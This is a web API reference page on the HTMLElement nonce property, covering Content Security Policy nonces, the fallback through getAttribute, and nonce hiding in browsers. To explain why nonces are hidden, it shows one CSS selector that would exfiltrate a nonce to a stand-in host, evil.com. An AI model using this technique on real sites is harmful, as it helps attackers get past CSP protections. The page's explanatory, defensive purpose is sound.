HTMLElement: nonce property

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since August 2016.

The nonce property of the HTMLElement interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.

In later implementations, elements only expose their nonce attribute to scripts (and not to side-channels like CSS attribute selectors).

Examples

Retrieving a nonce value

In the past, not all browsers supported the nonce IDL attribute, so a workaround is to try to use getAttribute as a fallback:

js
let nonce = script["nonce"] || script.getAttribute("nonce");

However, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). The IDL property (script['nonce']) will be the only way to access nonces.

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Specifications

Specification
HTML Standard
# dom-noncedelement-nonce

Browser compatibility

Report problems with this compatibility data on GitHub
desktopmobile
Chrome
Edge
Firefox
Opera
Safari
Chrome Android
Firefox for Android
Opera Android
Safari on iOS
Samsung Internet
WebView Android
WebView on iOS
nonce

Legend

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Full support
Full support
Partial support
Partial support
Has more compatibility info.

See also